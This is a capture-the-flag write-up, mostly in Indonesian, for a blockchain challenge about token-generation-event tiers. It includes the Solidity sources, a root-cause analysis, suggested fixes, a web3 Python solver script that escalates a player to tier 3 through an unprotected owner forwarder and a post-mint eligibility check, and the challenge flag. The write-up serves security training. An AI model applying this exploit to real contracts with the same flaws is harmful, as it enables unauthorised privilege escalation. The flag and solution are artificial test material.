tge

description
Author: hygge
i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge
Attachments
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {TGE} from "./TGE.sol";
import {Token} from "./Token.sol";
contract Setup {
TGE public tge;
Token public token;
address public player;
constructor(address _player) {
player = _player;
token = new Token("TOK", "TOK", 100);
tge = new TGE(address(token), 15, 35, 50);
tge.setTgePeriod(true);
token.mint(player, 15);
}
function enableTge(bool _tge) public {
tge.setTgePeriod(_tge);
}
function isSolved() external view returns (bool) {
require(tge.userTiers(player) == 3, "not yet");
return true;
}
}TGE.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Token} from "./Token.sol";
contract TGE {
Token public immutable token;
uint256 public constant TIER_1 = 1;
uint256 public constant TIER_2 = 2;
uint256 public constant TIER_3 = 3;
address public owner;
mapping(uint256 => uint256) public maxSupply;
mapping(uint256 => uint256) public mintPrice;
mapping(uint256 => uint256) public totalSupply;
mapping(address => mapping(uint256 => uint256)) public balance;
mapping(uint256 => uint256) public preTGESupply; // snapshot taken ONCE
mapping(address => mapping(uint256 => uint256)) public preTGEBalance;
mapping(address => uint256) public userTiers;
uint256[] public tierIds;
bool public isTgePeriod;
bool public tgeActivated;
modifier onlyOwner() {
require(msg.sender == owner, "only owner");
_;
}
constructor(
address _token,
uint256 maxSupplyTier1,
uint256 maxSupplyTier2,
uint256 maxSupplyTier3
) {
require(_token != address(0), "token=0");
require(maxSupplyTier1 > 0 && maxSupplyTier2 > 0 && maxSupplyTier3 > 0, "bad max");
token = Token(_token);
owner = msg.sender;
maxSupply[TIER_1] = maxSupplyTier1;
maxSupply[TIER_2] = maxSupplyTier2;
maxSupply[TIER_3] = maxSupplyTier3;
mintPrice[TIER_1] = maxSupplyTier1;
tierIds.push(TIER_1);
tierIds.push(TIER_2);
tierIds.push(TIER_3);
}
function setTgePeriod(bool _isTge) external onlyOwner {
if (!_isTge && isTgePeriod && !tgeActivated) {
tgeActivated = true;
_snapshotPreTGESupply();
}
isTgePeriod = _isTge;
}
function buy() external {
require(isTgePeriod, "TGE closed");
require(userTiers[msg.sender] == 0, "already registered");
require(token.transferFrom(msg.sender, address(this), mintPrice[TIER_1]), "payment failed");
_mint(msg.sender, TIER_1, 1);
userTiers[msg.sender] = TIER_1;
}
function upgrade(uint256 tier) external {
require(tier <= 3 && tier >= 2);
require(userTiers[msg.sender]+1 == tier);
require(tgeActivated && isTgePeriod);
_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
userTiers[msg.sender] = tier;
}
function _mint(address to, uint256 tier, uint256 quantity) internal {
_validateTier(tier);
require(quantity > 0, "qty=0");
require(totalSupply[tier] + quantity <= maxSupply[tier], "max supply");
totalSupply[tier] += quantity;
balance[to][tier] += quantity;
if (isTgePeriod) {
preTGEBalance[to][tier] += quantity;
}
}
function _burn(address from, uint256 tier, uint256 quantity) internal {
_validateTier(tier);
require(balance[from][tier] >= quantity, "insufficient");
balance[from][tier] -= quantity;
totalSupply[tier] -= quantity;
}
function _snapshotPreTGESupply() internal {
for (uint256 i = 0; i < tierIds.length; i++) {
uint256 id = tierIds[i];
preTGESupply[id] = totalSupply[id];
}
}
function _validateTier(uint256 tier) internal pure {
require(tier == TIER_1 || tier == TIER_2 || tier == TIER_3, "invalid tier");
}
}Token.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import { ERC20 } from "./lib//ERC20.sol";
import { Ownable } from "./lib/Ownable2Step.sol";
contract Token is ERC20, Ownable {
uint256 public constant MAX_SUPPLY = 1_000_000_000 * 10 ** 18;
error MaxSupplyExceeded();
constructor(string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
Ownable(msg.sender)
{
require(initialSupply <= MAX_SUPPLY, MaxSupplyExceeded());
_mint(msg.sender, initialSupply);
}
function mint(address account, uint256 amount) external onlyOwner {
require(totalSupply() + amount <= MAX_SUPPLY, MaxSupplyExceeded());
_mint(account, amount);
}
}Overview
Ringkasan singkat
- Challenge TGE adalah soal token-generation event berlapis (3 tier). Tujuan exploit: membuat
userTiers(player) == 3sehinggaSetup.isSolved()mengembalikan true. ✅
Kontrak utama
Setup.sol— deploy dan konfigurasi (mencetak token ke pemain, mengaktifkan TGE awal).TGE.sol— logika jual/buy/upgrade tier, snapshot pre-TGE, dan aturan eligibility.Token.sol— ERC20 sederhana (pemilik dapat mint).
Mekanika penting (high‑level)
- Pemain menerima
15token dariSetupdanmintPrice[TIER_1] == 15→ cukup untukbuy()Tier 1. setTgePeriod(false)(owner) melakukan snapshot sekali (preTGESupply) ketika TGE dimatikan untuk pertama kali; flagtgeActivatedmencegah snapshot berulang.- Setiap
mintsaatisTgePeriod == truemenambahpreTGEBalance[addr][tier](snapshot hanya mencatattotalSupplysaat TGE dimatikan). upgrade(tier)melakukan: burn tier sebelumnya → mint tier baru → kemudian memeriksapreTGEBalance[msg][tier] > preTGESupply[tier]sebelum menaikkanuserTiers.
Vulnerability — akar masalah (singkat)
- ⚠️ Pemeriksaan eligibility (
preTGEBalance > preTGESupply) dilakukan setelah mint di dalamupgrade()— sehingga mint yang sama membuat pemeriksaan tersebut selalu bisa lolos jika snapshot menunjukkanpreTGESupply[tier]rendah (mis. 0). - Snapshot hanya diambil sekali saat owner mematikan TGE, sehingga attacker bisa memastikan
preTGESupplyuntuk tier atas = 0.
Eksploit (ringkas)
approve()+buy()Tier 1 (pakai 15 token yang diberikan Setup).- Trigger snapshot: owner panggil
enableTge(false)→ snapshot terjadi. - Re‑enable TGE:
enableTge(true). - Panggil
upgrade(2)laluupgrade(3)— mint internal membuatpreTGEBalance>preTGESupply, jadi upgrade sukses.
Mengapa ini menyelesaikan challenge
- Setelah dua kali upgrade,
userTiers(player)menjadi3danSetup.isSolved()terpenuhi. 🎯
Perbaikan singkat yang disarankan
- Pindahkan cek eligibility sebelum mint atau snapshot
preTGEBalance/preTGESupplydengan cara yang tidak bisa dimanipulasi selama upgrade.
Analisis Smart Contract
Tujuan & ringkasan logika
- Tujuan kontrak TGE: menyediakan flow
buy()→upgrade()sampaiuserTiers[player] == 3. - Snapshot pre‑TGE diambil sekali saat owner mematikan TGE (
setTgePeriod(false)); eligibility upgrade bergantung pada perbandinganpreTGEBalancevspreTGESupply.
Variabel & fungsi penting
isTgePeriod— TGE terbuka untuk mint/buy.tgeActivated— di‑set saat snapshot dilakukan (true setelah pertama kali owner mematikan TGE).preTGESupply[tier]— snapshottotalSupplyuntuk setiap tier pada waktu snapshot.preTGEBalance[addr][tier]— diinkrement ketika mint terjadi selamaisTgePeriod.Setup.enableTge()— mengekspos pemanggilanTGE.setTgePeriod()(owner proxy); siapapun bisa toggle karenaSetupadalah ownerTGE.upgrade(tier)— melakukan_burnlalu_mint, baru kemudian memeriksapreTGEBalance > preTGESupply.
Kenapa bugnya bisa dimanipulasi (root cause)
Terdapat kombinasi beberapa design flaw yang memungkinkan attacker menaikkan tier secara tidak sah:
1. Owner privilege exposed melalui Setup contract (Critical)
Kontrak TGE membatasi fungsi berikut hanya untuk owner:
function setTgePeriod(bool _isTge) external onlyOwnerOwner dari kontrak TGE adalah kontrak Setup. Namun, Setup mengekspos fungsi berikut secara public:
function enableTge(bool _tge) public {
tge.setTgePeriod(_tge);
}Karena fungsi ini tidak memiliki access control, attacker dapat memanggil fungsi owner secara tidak langsung. Hal ini memungkinkan attacker untuk:
- mematikan TGE kapan saja,
- memicu snapshot
preTGESupply, - dan mengaktifkan kembali TGE sesuai kebutuhan exploit.
Ini merupakan privilege escalation vulnerability.
2. Snapshot design flaw — preTGEBalance masih bisa berubah setelah snapshot
Snapshot hanya menyimpan preTGESupply:
preTGESupply[id] = totalSupply[id];Namun preTGEBalance tetap dapat bertambah setelah snapshot:
if (isTgePeriod) {
preTGEBalance[to][tier] += quantity;
}Akibatnya, attacker dapat meningkatkan preTGEBalance setelah snapshot, sehingga snapshot tidak lagi merepresentasikan kondisi historis yang valid.
3. Eligibility check dilakukan setelah mint
Dalam fungsi upgrade():
_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);
require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");Karena
_mint()dipanggil sebelum pengecekan eligibility, mint tersebut langsung meningkatkanpreTGEBalance, memungkinkan kondisi eligibility terpenuhi menggunakan mint yang sama.
Alur exploit (state transition singkat)
- Pemain
buy()Tier‑1 (pakai 15 TOK) →preTGEBalance[player][1] = 1,totalSupply[1]naik. - Panggil
setup.enableTge(false)→tgeActivated=true, snapshot:preTGESupply[2]=0,preTGESupply[3]=0. - Panggil
setup.enableTge(true)→isTgePeriod=truelagi. upgrade(2):_burnTier‑1,_mintTier‑2 (menambahpreTGEBalance[player][2]karenaisTgePeriod==true),require(preTGEBalance[player][2] > preTGESupply[2])→1 > 0→ sukses.
upgrade(3)sama →userTiers[player]==3→ challenge solved.
Dampak & severity
- Logika ini memungkinkan kenaikan tier tanpa kondisi pre‑TGE yang semestinya — severity: High.
Rekomendasi perbaikan (konkrit)
- Prefered — jangan update
preTGEBalancesetelah snapshot:
if (isTgePeriod && !tgeActivated) {
preTGEBalance[to][tier] += quantity;
}- Alternatif/penambah: pindahkan pengecekan eligibility sebelum melakukan
_mint()diupgrade()sehingga mint tidak dapat mempengaruhi pemeriksaan yang dimaksud. - Batasi eksposur owner proxy: ubah
Setup.enableTge()menjadionlyOwneratau hapus publik forwarder. - Tambah unit tests untuk skenario snapshot + reenable + upgrade (harus revert jika eligibility tidak terpenuhi).
Langkah Penyelesaian
Step 0 — Akses RPC Node
- buka 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge'
- copy port nya dan buka url dengan port itu
http://challenges.1pc.tf:<PORT>/ - selesaikan PoW (solve in browser atau curl) untuk mendapatkan kredensial RPC node
- gunakan kredensial tersebut untuk koneksi RPC (contoh: Web3 HTTP provider)

Step 1 — Persiapan: approve & buy Tier 1
- pastikan wallet/privkey yang dipakai adalah
player(Setup sudah mint 15 TOK ke player) - panggil
token.approve(tge_address, 15)dari account pemain - panggil
tge.buy()— membayarmintPrice[TIER_1]dan mendapatTier 1
Step 2 — Trigger snapshot (pre‑TGE)
- owner (melalui
Setup.enableTge(false)) mematikan TGE sekali →tgeActivated = truedan_snapshotPreTGESupply()dipanggil - re‑enable TGE dengan
Setup.enableTge(true)supaya periode TGE kembali terbuka (untuk mint/upgrade berikutnya)
Step 3 — Upgrade ke Tier 2
- panggil
tge.upgrade(2)dari pemain- internal:
_burnTier‑1,_mintTier‑2 (menambahpreTGEBalance[player][2]jikaisTgePeriod==true), lalu checkpreTGEBalance > preTGESupply - karena
preTGESupply[2]biasanya = 0 (snapshot), condition terpenuhi →userTiers[player] = 2
- internal:
- verifikasi:
tge.userTiers(player)==2
Step 4 — Upgrade ke Tier 3
- panggil
tge.upgrade(3)(proses sama seperti Step 3) - verifikasi:
tge.userTiers(player)==3
Step 5 — Verifikasi solve & ambil flag
- panggil
setup.isSolved()→ harus mengembalikantrue - cek launcher / event logs untuk mendapatkan flag
Catatan singkat
- Penyebab exploit: pengecekan
preTGEBalance > preTGESupplydievaluasi setelah_mintdalamupgrade()dan snapshot diambil sekali — kombinasi ini bisa dimanipulasi. - Untuk langkah otomatis lihat
solver.py(di bawah).
Exploit Script (solver.py)
from web3 import Web3
# Data dari soal
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
# ABI Minimal
setup_abi = [
{"inputs":[],"name":"tge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bool","name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
tge_abi = [
{"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
token_abi = [
{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]
setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
tge_addr = setup_contract.functions.tge().call()
token_addr = setup_contract.functions.token().call()
tge_contract = w3.eth.contract(address=tge_addr, abi=tge_abi)
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)
def send_tx(tx_func):
tx = tx_func.build_transaction({
'from': account.address,
'nonce': w3.eth.get_transaction_count(account.address),
'gasPrice': w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(hash)
# 1. Approve & Buy Tier 1
print("[*] Approving tokens...")
send_tx(token_contract.functions.approve(tge_addr, 15))
print("[*] Buying Tier 1...")
send_tx(tge_contract.functions.buy())
# 2. Snapshot (Set TGE false lalu true lagi)
print("[*] Triggering snapshot (TGE false)...")
send_tx(setup_contract.functions.enableTge(False))
print("[*] Re-enabling TGE...")
send_tx(setup_contract.functions.enableTge(True))
# 3. Upgrade ke Tier 2
print("[*] Upgrading to Tier 2...")
send_tx(tge_contract.functions.upgrade(2))
# 4. Upgrade ke Tier 3
print("[*] Upgrading to Tier 3...")
send_tx(tge_contract.functions.upgrade(3))
print("[+] Done! Check isSolved on website.")python3 solver.py

Script ini melakukan:
- Approve token (
approve) dari pemain ke kontrakTGE. - Membeli
Tier 1denganbuy()(menggunakan 15 TOK yang diberikan olehSetup). - Memicu snapshot dengan memanggil
enableTge(false)lalu mengaktifkan kembalienableTge(true)(snapshot terjadi saat TGE dimatikan). - Memanggil
upgrade(2)— internal mint membuatpreTGEBalance[addr][2] > preTGESupply[2]sehingga upgrade sukses. - Memanggil
upgrade(3)untuk mencapaiuserTiers == 3. - Mengecek
isSolved()padaSetupuntuk verifikasi dan mengambil flag.
setelah itu kita bisa get flag di blockchain laucher nya.

flag
C2C{just_a_warmup_from_someone_who_barely_warms_up}